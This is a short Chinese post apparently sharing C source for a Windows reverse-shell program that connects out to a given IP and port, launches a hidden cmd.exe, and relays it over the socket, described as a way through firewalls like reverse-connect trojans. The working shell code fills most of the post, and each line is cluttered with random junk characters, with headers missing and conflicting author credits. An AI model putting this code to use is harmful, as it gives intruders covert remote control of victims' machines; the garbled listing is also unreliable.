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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !-OPzfHrI  
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/* ============================== LKx<hl$O  
Rebound port in Windows NT 42If/N?  
By wind,2006/7 c[n4{q1  
===============================*/ 7E}.P1  
#include 6(9S'~*'R  
#include }r)T75_1  
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#pragma comment(lib,"wsock32.lib") z;F6:aBa  
*$4EXwt'  
void OutputShell(); GCEcg&s=\S  
SOCKET sClient; o2J-&   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a7_&;  
ZtFOIb*  
void main(int argc,char **argv) (oKrIm  
{ ;@&mR <5j  
WSADATA stWsaData; TS~>9h\;  
int nRet; <%~`!n,t0  
SOCKADDR_IN stSaiClient,stSaiServer; (8$; 4q[!  
a#_=c>h;  
if(argc != 3) 4)zHkN+  
{ HLa3lUo  
printf("Useage:\n\rRebound DestIP DestPort\n"); "B^c  
return; SBNeN]  
} 4J"S?HsW|  
Km=dId7]  
WSAStartup(MAKEWORD(2,2),&stWsaData); yGN2/>]  
[ BpZ{Ql  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jEkO #xI  
|v[0(  
stSaiClient.sin_family = AF_INET; qMj'%5/  
stSaiClient.sin_port = htons(0); $XOs(>~"r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y7?n;3U]CS  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YKk*QcAn  
{ 1_aUU,|.  
printf("Bind Socket Failed!\n"); ("+J*u*kq_  
return; Kpx(x0^2  
} 2(<2Gnpl  
!pwY@} oL  
stSaiServer.sin_family = AF_INET; bIR&e E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 04u^Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Yr\pgK,  
WLB@]JvTBY  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *T+Bjj;w  
{ f7mN,_Lt  
printf("Connect Error!"); =[7[F)I~O  
return; A5A4*.C  
} ev$\Ns^g$3  
OutputShell(); XlPi)3m4/S  
} ^^O @ [_  
5Wyo!pRi  
void OutputShell() zHEH?xZ6sD  
{ "Q>gQKgL  
char szBuff[1024]; LxcC5/@\~(  
SECURITY_ATTRIBUTES stSecurityAttributes; VD,p<u{r  
OSVERSIONINFO stOsversionInfo; PGE|){ <  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tf|?j=f  
STARTUPINFO stStartupInfo; V^  
char *szShell; Xqz\%&G  
PROCESS_INFORMATION stProcessInformation; R[%ZyQ_  
unsigned long lBytesRead; *j9hjq0j  
Hw(_l,Xf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "k0bj>  
=FB[<%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l[_ y|W5  
stSecurityAttributes.lpSecurityDescriptor = 0; a&?SRC'x  
stSecurityAttributes.bInheritHandle = TRUE; b#17N2xkT  
6 G^x%s  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O/|,rAE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (pU@$H  
T@S\:P  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); re$xeq\1P?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $CXMeY{tOo  
stStartupInfo.wShowWindow = SW_HIDE; (iT?uMRz  
stStartupInfo.hStdInput = hReadPipe; EINjI:/D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uaX#nn?ws  
^uDNArDmj5  
GetVersionEx(&stOsversionInfo); -_p+4tV  
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switch(stOsversionInfo.dwPlatformId) FS(bEAk}  
{ hhqSfafUX  
case 1: gq'}LcV  
szShell = "command.com"; ;VL v2J*  
break; e\[z Q 2Z3  
default: 24}?GO  
szShell = "cmd.exe"; S~ff<A>f  
break; %ja8DRQ.  
} Dm")\"5\?  
_N-.=86*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !bPsJbIo>  
T[z}^"  
send(sClient,szMsg,77,0); g?}$"=B   
while(1) l$1z%|I  
{ /F(wb_!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JFJ_ PphvD  
if(lBytesRead) z`?{5v -Qs  
{ n)n>|w_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #JOWiO0>  
send(sClient,szBuff,lBytesRead,0); D.i(Irqw!  
} BkH- d z  
else &7}\mnhB  
{ ZSBa+3;z  
lBytesRead=recv(sClient,szBuff,1024,0); x=/`W^t2  
if(lBytesRead<=0) break; Ez= Q{g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e13{G @  
} Zgw;AY.R>  
} ':mw(`  
T~238C{vh  
return; AB.gVw| 4  
}
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